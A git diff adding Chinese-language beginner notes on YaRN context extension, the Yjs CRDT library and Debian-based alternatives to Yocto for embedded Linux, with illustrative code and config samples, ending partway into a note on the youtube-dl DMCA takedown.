+
+    # 2. 温度缩放
+    inv_sqrt_t = 0.1 * np.log(s) + 1
+    scale_factor = 1.0 / np.sqrt(inv_sqrt_t ** 2)
+
+    # 3. 应用旋转位置编码
+    cos_matrix = np.cos(m * theta_new)  # 形状 (seq_len, D/2)
+    sin_matrix = np.sin(m * theta_new)
+
+    # 旋转公式（简化版，实际是 2D 旋转矩阵乘法）
+    q = x * cos_matrix + rotate_neg(x) * sin_matrix  # query
+    q = q * scale_factor  # 温度缩放
+
+    return q
+```
+
+## 推理时技巧：Dynamic Scaling
+
+如果不做微调，只在推理时动态调整缩放因子：
+
+```python
+def dynamic_scaling_rope(x, current_length, max_context, theta):
+    """
+    Dynamic NTK：推理时根据当前序列长度动态调整
+    
+    好处：不需要微调，零成本获得 2 倍以上上下文扩展
+    """
+    s = max(1.0, current_length / max_context)
+
+    # 当前序列越长，扩展越多
+    # 当前序列越短，越接近原始模型行为
+    # 模型性能"优雅降级"而非突然崩溃
+
+    # 注意：如果用 KV Cache，要在应用 RoPE 之前缓存
+    # 因为 RoPE 的 theta 会随 s 变化
+```
+
+## 实验结果速览
+
+| 方法 | 扩展倍数 | 微调步数 | 32k 困惑度 |
+|------|---------|---------|-----------|
+| PI | 2k×16 | 400 | 最高 |
+| NTK-aware | 2k×16 | 400 | 中等 |
+| NTK-by-parts | 2k×16 | 400 | 较低 |
+| **YaRN** | **2k×16** | **400** | **最低** |
+| YaRN | 4k×32 | 400+200 | 2.37 (128k) |
+
+YaRN 的关键优势：用 10 倍更少的 token 和 2.5 倍更少的训练步数，达到最好的扩展效果。
+
+## 总结
+
+| 组件 | 解决什么问题 | 类比 |
+|------|------------|------|
+| NTK-by-parts | 局部高频维度不被拉伸 | 中心镜片不动 |
+| 温度缩放 | 降低整体困惑度 | 调焦环 |
+| Dynamic Scaling | 零微调下推理时扩展 | 自动变焦 |
+
+YaRN 的三件套让模型像一个好摄影师——近处清晰，远处也调得到焦。
+
+## 下一步
+
+- 阅读原论文：https://arxiv.org/abs/2309.00071
+- 代码实现：https://github.com/jquesnelle/yarn
+- 对比学习：Position Interpolation（PI）和 NTK-aware 方法的区别
diff --git a/src/content/docs/papers/yjs-crdt-overview.md b/src/content/docs/papers/yjs-crdt-overview.md
new file mode 100644
index 000000000..d7d2b8af5
--- /dev/null
+++ b/src/content/docs/papers/yjs-crdt-overview.md
@@ -0,0 +1,296 @@
+---
+title: Yjs — 用 CRDT 做共享编辑：零基础学习笔记
+来源: https://docs.yjs.dev/
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 日常类比：魔法白板，而不是抢粉笔
+
+你和同事改同一份策划案。最土的做法是**抢锁**：谁拿到 Word 独占编辑权谁改，别人只能看只读——像会议室里只有一支马克笔。
+
+**Git** 像**轮流誊抄**：你改完 commit、对方 pull 再改，冲突时弹窗「保留你的还是他的」。适合代码，不适合两个人同时敲同一段文案。
+
+**Google Docs / Figma / Notion** 像**一块魔法白板**：你插一个字、对方删一行、第三个人改标题颜色，最后板上自动变成**大家都认得的合理结果**，不用弹冲突对话框。背后要么是 **OT（操作变换）**，要么是 **CRDT（无冲突可复制数据类型）**。
+
+**Yjs** 就是给开发者用的「魔法白板引擎」：它把 CRDT 的数学保证藏在 `Map`、`Array`、富文本等**长得像普通 JS 对象**的 API 后面。你只管 `ymap.set('title', 'Hello')`，库负责在 Wi-Fi 抖动、断网重连、乱序收包时把多份副本**自动合并成同一份**。
+
+官方定位见 [Yjs 文档](https://docs.yjs.dev/)：*high-performance CRDT for building collaborative applications that sync automatically*。它和 [[crdt-json]] 同属 CRDT 家族，但 Yjs 是**可直接 npm install 的生产级库**，而不是论文里的抽象定义；和 [[eg-walker-collab-text-2024]]、[[zed-editor-collaborative]] 对比时，Yjs 走「CRDT 常驻内存、增量 update 同步」的主流路线。
+
+## 是什么
+
+**Yjs**（读作 "wise"）是 Kevin Jahns（[@dmonad](https://github.com/dmonad)）维护的 **JavaScript CRDT 实现**，核心能力：
+
+1. **共享类型（Shared Types）**：`Y.Map`、`Y.Array`、`Y.Text` 等，API 接近原生 JS 集合，但任意副本并发修改后**必然收敛**。
+2. **文档（Y.Doc）**：所有共享类型的容器；一次 `transact` 里的改动打包成一个**原子 update**。
+3. **二进制增量（Update）**：`Y.encodeStateAsUpdate` / `Y.applyUpdate` 只传差量，适合 WebSocket、WebRTC、IndexedDB。
+4. **网络无关**：不绑定中心服务器；只要 update 最终都到达，**到达顺序不影响最终结果**。
+5. **生态**：`y-prosemirror`、`y-codemirror`、`y-monaco`、`y-websocket`、`y-indexeddb` 等，把「协同」接到编辑器与传输层。
+
+一句话：**Yjs = CRDT 数学 + 好用的 JS 数据结构 + 可插拔的网络/持久化适配器**。
+
+## 为什么重要
+
+不懂 Yjs，下面问题很难答清：
+
+1. **为什么两小时能做出「迷你 Google Docs」？** —— 共享状态与冲突合并在库里完成，你只接编辑器 binding + provider。
+2. **为什么可以 P2P、离线、local-first？** —— CRDT 不依赖中心仲裁；`y-webrtc` + `y-indexeddb` 即可断网编辑、上线合并。
+3. **Yjs 和 Automerge 有何不同？** —— 都基于 CRDT；Yjs 更偏**实时协同编辑**（二进制 update、编辑器集成极多），Automerge 更偏**通用 JSON 文档 + 长历史**。
+4. **和 OT（如 ShareJS）比？** —— OT 常要中心服务器做变换；Yjs 副本可对等合并，后端可水平扩展（如 y-redis 分片）。
+
+## 架构全景
+
+```mermaid
+flowchart TB
+  subgraph 应用层
+    ED[ProseMirror / Monaco / Quill]
+    APP[自定义 UI]
+  end
+
+  subgraph Yjs核心
+    DOC[Y.Doc]
+    MAP[Y.Map]
+    ARR[Y.Array]
+    TXT[Y.Text]
+    DOC --> MAP
+    DOC --> ARR
+    DOC --> TXT
+  end
+
+  subgraph 同步层
+    ENC[encodeStateAsUpdate]
+    DEC[applyUpdate]
+    AWARE[Awareness 光标/选区]
+  end
+
+  subgraph 基础设施
+    WS[y-websocket]
+    RTC[y-webrtc]
+    IDB[y-indexeddb]
+  end
+
+  ED <-->|binding| TXT
+  APP --> MAP
+  DOC --> ENC
+  DEC --> DOC
+  ENC <--> WS
+  ENC <--> RTC
+  DOC <--> IDB
+  AWARE <--> WS
+```
+
+## 核心概念
+
+### 1. Y.Doc — 文档根
+
+`new Y.Doc()` 创建一个**逻辑文档**。文档内有 client ID、时钟向量（state vector），用于判断「对方比我多知道哪些 update」。同一业务文档在所有参与者之间应共享**同一个 room / doc name**（由 provider 约定），但每个浏览器里是**独立的 Y.Doc 实例**，靠 apply update 保持一致。
+
+### 2. Shared Types — 会自己合并的数据结构
+
+| 类型 | 用途 | 合并直觉 |
+|------|------|----------|
+| `Y.Map` | 键值、元数据、JSON 形结构 | 不同 key 并发写都保留；同一 key 并发写由 CRDT 规则决出胜者（常表现为「后写入者」在语义上占优） |
+| `Y.Array` | 有序列表、Todo、幻灯片页序 | 并发插入用内部 ID 排序，不靠整数下标硬抢 |
+| `Y.Text` | 纯文本 / 富文本（Delta 属性） | 协同编辑正文字段；与 Quill Delta、ProseMirror 步骤对接 |
+| `Y.XmlElement` 等 | 结构化富文本树 | 复杂 WYSIWYG |
+
+嵌套规则：一个 shared type 在**同一文档里只能挂一处**；要把子结构塞进 `Y.Map`，用 `ymap.set('notes', yarray)` 这类方式。
+
+### 3. Transaction — 批量、可监听的原子操作
+
+所有修改应包在 `ydoc.transact(() => { ... })` 里（单条 `set` 也会隐式开事务）。好处：
+
+- 观察者（`observe` / `observeDeep`）**每事务触发一次**，不会每个字符回调一次拖垮 UI。
+- 网络层**一个事务对应一个 update 包**，省带宽。
+
+### 4. Update 与 State Vector — 增量同步的货币
+
+- `Y.encodeStateAsUpdate(ydoc)`：把文档状态编码成 `Uint8Array`。
+- `Y.encodeStateAsUpdate(ydoc, stateVector)`：只编码「对方还没有」的部分——**同步的核心**。
+- `Y.applyUpdate(ydoc, update)`：把远端差量合并进来；**幂等且可交换**，乱序到达也能收敛。
+
+类比：不是每次全量复印白板，而是只邮寄「自上次以来新贴上的便利贴」。
+
+### 5. Awareness — 谁在线、光标在哪
+
+Yjs 核心只管**文档数据**；**临时态**（用户名、光标颜色、选区）走 `awareness` 协议（`y-protocols`）。这类状态**不进 CRDT**，断线就丢，减轻持久化负担。
+
+### 6. Provider 模式 — 网络和持久化解耦
+
+官方文档强调：**Yjs 不对传输做假设**。常见组合：
+
+- **y-websocket** + 自建 Node 房间服务
+- **y-webrtc** — 无中心服务器 P2P
+- **y-indexeddb** — 本地持久化 update 日志，刷新页面可恢复
+
+换 provider 通常**不用改** CRDT 业务逻辑——这是「网络无关」的实际含义。
+
+## 代码示例 1：离线合并两个「用户」的 Y.Map
+
+下面复现 [官方 Quick Start](https://docs.yjs.dev/)：两个独立 `Y.Doc` 各改不同 key，再 encode/apply 合并。
+
+```javascript
+import * as Y from 'yjs'
+
+// 用户 A 的副本
+const ydocA = new Y.Doc()
+const ymapA = ydocA.getMap('metadata')
+ymapA.set('keyA', 'valueA')
+
+// 用户 B 的副本（另一台机器、另一个浏览器 tab 都行）
+const ydocB = new Y.Doc()
+const ymapB = ydocB.getMap('metadata')
+ymapB.set('keyB', 'valueB')
+
+// 把 B 的「全部状态」当作 update 合并进 A
+const updateFromB = Y.encodeStateAsUpdate(ydocB)
+Y.applyUpdate(ydocA, updateFromB)
+
+// A 现在同时拥有两边的 key
+console.log(ymapA.toJSON())
+// => { keyA: 'valueA', keyB: 'valueB' }
+
+// 反向再同步一次，两边就完全一致
+const updateFromA = Y.encodeStateAsUpdate(ydocA)
+Y.applyUpdate(ydocB, updateFromA)
+console.log(ymapB.toJSON())
+// => { keyA: 'valueA', keyB: 'valueB' }
+```
+
+要点：**没有 `if (conflict) alert()`**；合并是库的内置代数运算。真实系统里不会每次都 `encodeStateAsUpdate` 全量，而是用 **state vector** 只传差量。
+
+## 代码示例 2：协同富文本 + 监听变更
+
+`Y.Text` 是搭建记事本、评论线程的基础；常与 `y-prosemirror` 或 Quill binding 配合。下面演示纯 Yjs API：两人并发插入，观察合并结果与事件。
+
+```javascript
+import * as Y from 'yjs'
+
+const docLocal = new Y.Doc()
+const docRemote = new Y.Doc()
+
+const textLocal = docLocal.getText('content')
+const textRemote = docRemote.getText('content')
+
+// 监听本地文档正文的每一次事务级变更
+textLocal.observe(event => {
+  console.log('local text now:', textLocal.toString())
+  // event.changes 可算出 Quill 风格的 Delta diff
+})
+
+docLocal.transact(() => {
+  textLocal.insert(0, 'Hello ')
+})
+docRemote.transact(() => {
+  textRemote.insert(0, 'World')
+})
+
+// 双向同步
+Y.applyUpdate(docLocal, Y.encodeStateAsUpdate(docRemote))
+Y.applyUpdate(docRemote, Y.encodeStateAsUpdate(docLocal))
+
+console.log(textLocal.toString())  // 并发插入的相对顺序由 CRDT 内部 ID 决定
+console.log(textRemote.toString()) // 两边字符串最终一致
+```
+
+富文本格式（粗体、链接）用 `insert` 的第三个参数或 `format` / `applyDelta` 完成，与 [Y.Text API](https://docs.yjs.dev/api/shared-types/y.text) 一致。接上编辑器时，binding 负责把 ProseMirror transaction 翻译成对 `Y.Text` 的调用。
+
+## 代码示例 3：接入 WebSocket 房间（概念骨架）
+
+生产环境应使用官方 `y-websocket` 包；逻辑永远是「本地 transact → provider 广播 update → 远端 applyUpdate」。
+
+```javascript
+import * as Y from 'yjs'
+import { WebsocketProvider } from 'y-websocket'
+
+const ydoc = new Y.Doc()
+const provider = new WebsocketProvider(
+  'wss://your-signaling-server.example',
+  'my-room-name',   // 同一房间共享同一逻辑文档
+  ydoc
+)
+
+const ytext = ydoc.getText('shared-notes')
+
+provider.on('status', ({ status }) => {
+  console.log('connection:', status) // 'connected' | 'disconnected'
+})
+
+// 本地编辑
+ydoc.transact(() => {
+  ytext.insert(ytext.length, '\n新的一行')
+})
+
+// Awareness：显示协作者光标（可选）
+const awareness = provider.awareness
+awareness.setLocalStateField('user', { name: 'Alice', color: '#ff6b6b' })
+awareness.on('change', () => {
+  console.log('在线协作者:', Array.from(awareness.getStates().values()))
+})
+```
+
+服务器只做**消息扇出**与可选持久化，**不做 OT 变换**——这是 Yjs 架构与经典 ShareJS 路线的关键差异。
+
+## Y.Array 补充：有序列表
+
+任务看板、幻灯片顺序常用 `Y.Array`：
+
+```javascript
+const ydoc = new Y.Doc()
+const todos = ydoc.getArray('todos')
+
+ydoc.transact(() => {
+  todos.insert(0, ['买牛奶', '写 Yjs 笔记'])
+  todos.delete(1, 1) // 删掉第二项
+})
+
+console.log(todos.toArray()) // => ['买牛奶']
+```
+
+注意：`insert` 的第二个参数**永远是数组**（性能原因），`insert(0, [item])` 插入单个元素。
+
+## 与相关技术对照
+
+| 方案 | 冲突处理 | 中心服务器 | 典型场景 |
+|------|----------|------------|----------|
+| 锁 / 单写者 | 人工排队 | 可选 | 传统 CMS |
+| OT | 服务器变换操作 | 通常必需 | 早期 Google Docs 类 |
+| **Yjs (CRDT)** | 副本自动合并 | 不必需 | 实时协作、P2P、local-first |
+| Automerge | CRDT | 不必需 | 长历史、JSON 文档、Git-like |
+| [[eg-walker-collab-text-2024]] | 按需 CRDT | 不必需 | 超大文档、低内存文本 |
+
+## 性能与工程注意
+
+1. **事务粒度**：把一连串编辑包进一个 `transact`，减少 update 数量与 UI 抖动。
+2. **不要 JSON 深拷贝整个文档**：用 `Y.encodeStateAsUpdate`；大文档用 state vector 差量同步。
+3. **垃圾回收**：Yjs 对删除内容保留墓碑元数据；超长会话要关注 [GC 相关 API 与策略](https://docs.yjs.dev/)（文档持续更新中）。
+4. **基准**：作者在 [crdt-benchmarks](https://github.com/dmonad/crdt-benchmarks) 中对比多种 CRDT 实现，Yjs 在多数协同编辑负载上领先——但具体仍取决于文档大小、编辑模式与绑定层开销。
+5. **测试**：用两个内存 `Y.Doc` 互相同步即可单测合并逻辑，无需起真实 WebSocket。
+
+## 生态地图（选读）
+
+| 包 | 作用 |
+|----|------|
+| `yjs` | 核心 CRDT |
+| `y-websocket` / `y-webrtc` | 网络传输 |
+| `y-indexeddb` | 浏览器持久化 |
+| `y-prosemirror` / `y-tiptap` | 富文本编辑器绑定 |
+| `y-monaco` / `y-codemirror` | 代码编辑器绑定 |
+| `y-protocols` | Awareness 等辅助协议 |
+
+更多 demo 源码见官方 [yjs-demos](https://github.com/yjs/yjs-demos) 仓库。
+
+## 学习路径建议
+
+1. 读 [Introduction](https://docs.yjs.dev/) Quick Start，亲手跑通示例 1。
+2. 打开 [yjs-demos](https://github.com/yjs/yjs-demos) 里 `prosemirror` 或 `monaco` 子项目，看 binding 如何把编辑器事件映射到 `Y.Text`。
+3. 对照 [[crdt-json]] 理解「为什么 Map/List/Text 嵌套仍能收敛」。
+4. 若关心编辑器内核而非库 API，继续读 [[zed-editor-collaborative]]、[[eg-walker-collab-text-2024]]。
+
+## 小结
+
+Yjs 把 CRDT 从论文里的符号变成**日常能用的 `Map` / `Array` / 富文本`**。你负责业务 UI 和房间管理，它负责在分布式、乱序、断网重连的世界里守住一条承诺：**所有副本最终看到同一份数据，且无需中央裁判**。
+
+从「抢粉笔」到「魔法白板」，差的不只是一个 WebSocket 服务，而是一套**可证明会收敛的合并规则**——Yjs 是目前 JavaScript 生态里把这套规则做得最易上手、生态最丰的一组实现之一。
diff --git a/src/content/docs/papers/yocto-alternatives.md b/src/content/docs/papers/yocto-alternatives.md
new file mode 100644
index 000000000..d4d0f1f2e
--- /dev/null
+++ b/src/content/docs/papers/yocto-alternatives.md
@@ -0,0 +1,320 @@
+---
+title: You probably don't need Yocto, and that's fine — 嵌入式 Linux 不必默认上 Yocto
+来源: 'sigma star gmbh, "You probably don''t need Yocto, and that''s fine", https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/, 2026-05-26'
+日期: 2026-06-13
+子分类: 嵌入式
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：定制西装 vs 成衣改裤脚
+
+你要参加一场重要活动，需要一套得体的衣服。你有三条路：
+
+1. **从零裁布做西装（Yocto）** — 选面料、画版型、自己锁边、自己装扣子。合身到毫米级，但量体、打版、试穿、改版的周期以「周」计，而且以后胖了瘦了都得自己改。
+2. **买成衣再改裤脚（Debian + debos/mkosi）** — 商场里 70 000 款「零件」现成可选，你只挑需要的、改改长度，裁缝店（镜像构建工具）帮你打包成可穿的成品。
+3. **直接穿厂家配好的套装（厂商预刷镜像 / Ubuntu Core）** — 最快，但款式和尺码由别人定。
+
+嵌入式 Linux 选型的困惑，和这个一模一样：行业里常默认「正经项目必上 Yocto」，仿佛不上就不专业。sigma star（一家 Yocto 资深集成商）在 2026 年的这篇文章里反其道而行：**他们自己就是 Yocto 专家，却经常劝客户先别用 Yocto** — 因为「能定制一切」在「你其实不需要定制一切」时，会变成「你要维护一切」。
+
+---
+
+## 是什么：Yocto 不是发行版，是「造发行版的工具箱」
+
+很多人把 Yocto 叫「Yocto Linux 发行版」，这是误解。
+
+| 概念 | 含义 |
+|------|------|
+| **Yocto Project** | 用源码组装**自定义** Linux 发行版的工具链 |
+| **Poky** | Yocto 自带的参考发行版（`bitbake` + `openembedded-core` + `meta-yocto`） |
+| **BitBake** | 类似 Make 的构建引擎，按 recipe（`.bb`）描述如何编译每个软件包 |
+| **Layer** | 分层配置；SoC 厂商常提供 **BSP layer** 作为板级起点 |
+| **Recipe** | 单个组件的构建配方：版本、补丁、`DEPENDS`、`PACKAGECONFIG` 等 |
+
+Yocto 的强大在于：你可以为特定 CPU 编译整个用户空间、给任意组件打补丁、开关任意特性、钉死任意版本。芯片厂商的 BSP layer 又提供了「能在真板上跑起来」的起点。**灵活 + 厂商支持** 让它成为默认选项；**同一份灵活** 在你不需要时，就是陷阱。
+
+---
+
+## 核心概念一：「自己的发行版」=「自己的维护账单」
+
+欧盟 **Cyber Resilience Act（CRA，2024/2847）** 等产品安全法规要求：厂商在**产品生命周期内**持续提供安全更新。维护一个 Linux 系统，可能是很多年。
+
+Yocto 的版本节奏：
+
+| 类型 | 维护窗口（约） |
+|------|----------------|
+| 普通 release | ~7 个月（到下一版发布） |
+| LTS release（自 5.0 Scarthgap 起） | 最多 ~4 年 |
+
+听起来 LTS 够长，但有个隐蔽问题：**Yocto LTS 维护的是「那一套 recipe 集合 + Poky」**。一旦你做了这些事：
+
+- 给若干组件打了非平凡补丁
+- 额外加了 Yocto 未收录的组件
+- 为了修 bug 或锁定版本而 bump/pin 了某些包
+
+那么**每一次 Yocto 维护版发布**，你都要检查：本地改动是否还能干净地叠上去？自加/自 pin 的包谁负责打 CVE 补丁？**最终维护成本落在你的团队身上**。
+
+文章抛出一个尖锐问题：如果你几乎不改 Poky，为什么要用 Yocto？
+
+### 内核：房间里的大象
+
+Yocto 会带内核并维护，但产品几乎总会：
+
+- 叠加 SoC 厂商补丁
+- 使用足够新的内核以包含所需驱动
+
+因此 **CVE 跟踪 + 内核升级** 无论用不用 Yocto 都是大头。可控做法是：基于 **kernel.org LTS** 建整洁的 patch queue，随 stable 更新迁移；vendor 自带、多年不更新的内核通常是坏主意（少数例外）。
+
+---
+
+## 核心概念二：自建发行版的隐藏成本
+
+| 成本维度 | 典型表现 |
+|----------|----------|
+| **构建时间** | 非平凡镜像 clean build 常需数小时；`sstate-cache` 可加速但 recipe 小改可能大面积失效 |
+| **磁盘 / CI** | 工作目录轻松 **100 GiB+**；需大存储、共享 `sstate`/`DL_DIR`、自建镜像基础设施 |
+| **学习曲线** | `bbappend`、classes、overrides、`DEPENDS` vs `RDEPENDS`、`PACKAGECONFIG`… 新人上手以**周**计 |
+| **BSP 质量** | 有的厂商 layer 干净；有的 pin 五年老内核、把 machine recipe 放错层、一 bump Poky 就崩 |
+
+这些不是「别用 Yocto」的理由，而是 **「确认你真的需要它再下注」** 的理由。
+
+---
+
+## 核心概念三：成熟发行版 + 镜像工具 = 常见路的捷径
+
+若目标只是 **「有一块可靠的 Linux 跑我的应用」**，**Debian GNU/Linux** 等成熟发行版往往更省 per-project 人力：
+
+- 约 **70 000** 个二进制包，覆盖 `amd64`、`arm64`、`armhf`、`riscv64`、`ppc64el` 等
+- 很多 SoC **直接跑** Debian 预编译包，无需重编
+- 可用 `systemd` 现代栈，也可用 BusyBox / SysV init 做 slim 系统
+- **Debian stable** 安全更新约 3 年 + **Debian LTS** 社区再延约 2 年 → 合计 ~5 年，接近 Yocto LTS，但**你不必自己 backport 上游补丁**
+
+关键澄清：**不是** 给设备插 U 盘跑 Debian Installer。而是在构建机上生成 **可刷写镜像**，再烧录到设备。组成四块：
+
+1. Bootloader（通常 SoC 专用，如 U-Boot）
+2. Linux kernel（通常 SoC 专用）
+3. Rootfs（用户空间直接来自 Debian）
+4. **镜像组装工具**：`mkosi`、`ELBE`、`debos`
+
+维护形态更像 **`apt` 更新包 + 重新 roll 镜像**，而不是重写 BitBake recipe。
+
+### debos 工作流（文章推荐的具体路径）
+
+1. 用 **aptly** 建本地 Debian 镜像，收录所需包
+2. 把自研 kernel（及可选 bootloader）打成 **Debian 包** 放进镜像
+3. 给镜像 **打 tag / snapshot** → 即一次 release
+4. 用 **debos** YAML recipe 产出目标镜像
+5. 按需归档源码包 + **SBOM**（如 `debsbom`），满足 GPL 源码提供与 CRA 物料清单
+
+---
+
+## 代码示例 1：debos YAML — 最小 arm64 根文件系统镜像
+
+下面是一个**教学用**的 debos recipe 骨架，展示「从 Debian 包列表生成 ext4 根分区」的思路（字段需按你的 aptly 镜像 URL 和架构调整）：
+
+```yaml
+architecture: arm64
+
+actions:
+  - action: debootstrap
+    suite: bookworm
+    components:
+      - main
+    mirror: http://127.0.0.1:8080/debian
+    variant: minbase
+
+  - action: apt
+    update: true
+    recommend: false
+    packages:
+      - systemd
+      - openssh-server
+      - python3
+      - your-app
+
+  - action: image-partition
+    imagename: debian-arm64-product
+    imagesize: 512MB
+    partitiontype: gpt
+    partitions:
+      - name: root
+        fs: ext4
+        start: 64MB
+        size: 448MB
+        mountpoint: /
+
+  - action: filesystem-deploy
+    description: Deploy root filesystem to partition
+```
+
+要点：
+
+- `debootstrap` + `apt` 等价于「在 chroot 里装 Debian」，**不编译整个 world**
+- `image-partition` + `filesystem-deploy` 产出可刷写的分区镜像
+- 发布 = 更新 aptly snapshot 的 tag + 重跑 debos
+
+---
+
+## 代码示例 2：Yocto — 许可证排除与镜像定制（何时真的需要 Yocto）
+
+医疗、汽车、部分国防场景可能 **禁止 GPLv3**。Yocto 可用 `INCOMPATIBLE_LICENSE` 在**全镜像范围**排除某类许可证 — 这是「需要 Yocto」的典型论据之一。
+
+在 `local.conf` 或 distro 配置中：
+
+```bitbake
+# 禁止 GPLv3 及更高版本进入镜像（示例，需按法务要求调整）
+INCOMPATIBLE_LICENSE = "GPL-3.0-only GPL-3.0-or-later AGPL-3.0-only"
+INCOMPATIBLE_LICENSE_EXCEPTIONS = "bash"
+
+# 典型产品镜像：只保留运行时需要的包组
+IMAGE_INSTALL:append = " \
+    openssh \
+    python3 \
+    your-app \
+"
+
+# 缩小体积：去掉文档、locale、静态库 dev 包
+INHERIT += "rm_work"
+IMAGE_LINGUAS = ""
+BAD_RECOMMENDATIONS += "packagegroup-base-extended"
+```
+
+对比 Debian 路径：你要 **自己审计** 哪些包装了 GPLv3 依赖并 trim — 可行但繁琐；当排除规则复杂、且还需深度改 compile flags 时，Yocto 的 recipe 模型更擅长**规模化**定制。
+
+---
+
+## 代码示例 3（补充）：mkosi 声明式镜像片段
+
+`mkosi` 近年也常被提及（systemd 生态）。极简 `mkosi.conf` 示意：
+
+```ini
+[Distribution]
+Distribution=debian
+Release=bookworm
+
+[Output]
+Format=disk
+Bootable=yes
+
+[Content]
+Packages=systemd
+         openssh-server
+         your-app
+WithUnifiedKernelImages=yes
+```
+
+与 debos 类似：**声明「要什么包」**，工具负责 rootfs + 分区/引导结构；差异在配置风格与 systemd 集成深度，选型看团队现有工具链。
+
+---
+
+## 决策矩阵：什么时候用 / 不用 Yocto
+
+### 用 Yocto（或 Buildroot 等「从源码拼发行版」）
+
+| 场景 | 原因 |
+|------|------|
+| 深度定制用户空间、编译选项、基础组件 | Recipe 模型为「改一切」而生 |
+| 严格的体积 / 启动时间，现成 distro 达不到 | 可剔到只剩必要 bits |
+| 许可证政策排除 GPLv3 等，且规则复杂 | `INCOMPATIBLE_LICENSE` 等机制 |
+| 需要 musl / uClibc 等非 glibc | Debian 主 archive 围绕 glibc |
+| 需要比 Debian stable 新得多的 toolchain/runtime | stable 会「拖后腿」 |
+| SoC 官方支持路径就是 Yocto，且 BSP 质量可靠 | 减少 bring-up 风险 |
+
+### 跳过 Yocto
+
+| 场景 | 原因 |
+|------|------|
+| 只需要现代 Linux 跑应用 | Debian 用户空间 + 厂商 kernel 即可 |
+| Flash ≥ 数百 MB、RAM ≥ 256 MiB | 容得下标准 Debian 系镜像 |
+| 产品寿命长，愿依赖 Debian Security Team | 避免自建 backport 流水线 |
+| 团队没有专职 embedded Linux 工程师 | BitBake 上手成本过高 |
+
+### 跳过 Debian（但仍可能不用 Yocto）
+
+| 场景 | 原因 |
+|------|------|
+| 需要重编/大改 Debian 里大量包 | 等于把 Debian 维护者的工作抢过来；数十个包时 Yocto 更干净 |
+| 强依赖非 glibc | 见上 |
+| 强依赖 bleeding-edge 编译器 | Debian stable 不合适 |
+
+**Buildroot** 文章一并点名：比 Yocto 轻，但「自己拼发行版 → 自己维护」的逻辑相同；OTA、fleet 管理、CRA 下的 SBOM 仍要另建。
+
+---
+
+## 与 CRA / 合规的关联（零基础也要知道）
+
+「能刷机启动」不等于「能合法、安全地卖十年」。CRA 等法规把焦点放在：
+
+- **已知漏洞的及时修复**
+- **软件物料清单（SBOM）**
+- **可追溯的发布物**
+
+Yocto 路径：你负责 recipe 树、补丁队列、LTS 迁移、自研组件 CVE。
+
+Debian + debos 路径：
+
+- 安全更新大量来自 **Debian Security Team / LTS**
+- 发布 = aptly snapshot tag + 镜像 rebuild
+- `debsbom` 等工具从已安装包生成 SBOM
+
+两条路都能合规；差别在于 **谁替你扛日常 patch 工作**。
+
+---
+
+## 迁移方向：文章的战略建议
+
+> **尽早、有意识地选型** — 产品出厂后很难回头。
+
+- **拿不准时，先上成熟发行版**；真有理由再迁 Yocto，比中途发现「为不需要的控制力付了多年维护税」便宜得多。
+- **从 Yocto 迁到 Debian** 往往比反向迁移更痛苦 — 因为前者已嵌入大量本地 recipe 知识。
+
+sigma star 的立场很直白：
+
+- 客户**确实**要 custom distro → 他们推荐 Yocto
+- 其余客户 → 持续问：**你真的需要吗？**
+
+---
+
+## 常见误区（零基础自检）
+
+| 误区 | 事实 |
+|------|------|
+| 「嵌入式 = 必须 Yocto」 | 很多网关、HMI、边缘盒只需「Linux + 我的程序」 |
+| 「Yocto LTS = 我不用管安全」 | 本地 patch/pin 使每次维护版都是合并考试 |
+| 「Debian 太大装不进」 | minbase + 精选包 + 自定义 kernel 可做到产品级体积 |
+| 「debos 是装 Debian 的安装器」 | 它是**构建主机上**生成 flashable image 的工具 |
+| 「vendor 内核最省心」 | 常多年落后、少安全修复；LTS + patch queue 通常更可控 |
+
+---
+
+## 动手清单：读完这篇后可以做什么
+
+1. **写一页真实需求**：应用是什么？Flash/RAM？生命周期几年？能否接受 GPLv3？SoC 官方 BSP 形态？
+2. **估维护人力**：有没有人能持续跟 BitBake + kernel CVE？还是更愿意 `apt upgrade` + 重打镜像？
+3. **做 spike**：同一硬件上并行试 **debos 最小镜像** vs **Poky minimal**，记录 clean build 时间、镜像大小、团队上手天数。
+4. **定发布物**：无论哪条路，第一次 release 就带上 **SBOM + 源码归档策略**，别等 CRA 审计临头再补。
+
+---
+
+## 小结
+
+| 要点 | 一句话 |
+|------|--------|
+| Yocto 本质 | 造发行版的工具箱，不是现成发行版 |
+| 最大陷阱 | 不需要的灵活性 → 多年的自建维护 |
+| 常见替代 | Debian 用户空间 + SoC kernel/bootloader + debos/mkosi/ELBE |
+| 真正需要 Yocto 时 | 深度定制、极端体积/启动、复杂许可证、非 glibc、优质 BSP 绑定 |
+| 文章结论 | **You probably don't need Yocto, and that's fine.** |
+
+Yocto 是remarkable engineering；问题在于当你不需要「恰好那一版 Linux」时，它变成 **用极贵的方式解决不存在的问题**。对多数「在 Linux 上跑我的应用」的嵌入式项目，成熟发行版 + 确定性镜像构建，是更省 engineering overhead 的起点 — 而这不是偷懒，是** conscious choice**。
+
+---
+
+## 参考与延伸阅读
+
+- 原文：[You probably don't need Yocto, and that's fine](https://sigma-star.at/blog/2026/05/you-probably-dont-need-yocto-and-thats-fine/)（sigma star gmbh, 2026-05-26）
+- Yocto Project 官方文档：https://docs.yoctoproject.org/
+- debos：https://github.com/go-debos/debos
+- mkosi：https://github.com/systemd/mkosi
+- ELBE：https://www.elbe-rfs.org/
+- EU Cyber Resilience Act：Regulation (EU) 2024/2847
diff --git a/src/content/docs/papers/youtube-dl-riaa-dmca-2020.md b/src/content/docs/papers/youtube-dl-riaa-dmca-2020.md
new file mode 100644
index 000000000..2306bde78
--- /dev/null
+++ b/src/content/docs/papers/youtube-dl-riaa-dmca-2020.md
@@ -0,0 +1,242 @@
+---
+title: YouTube-dl RIAA DMCA Takedown 事件
+来源: https://github.com/github/dmca/blob/master/2020/10/2020-10-23-RIAA.md
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 安全与隐私
+provenance: pipeline-v3
+---
+
+# YouTube-dl RIAA DMCA Takedown 事件
+
+## 一、故事开场：一把万能钥匙被没收了
+
+想象一下，你发明了一把万能开锁器，可以打开小区里所有住户的门。你用它在 README 里举例："看，我能打开张三家的门拿他的唱片，也能打开李四家的门拿他的电影。"
+
+有一天，唱片公司找上门来，说你这把锁是用来偷东西的，要求物业（GitHub）把你的工具没收掉。
+
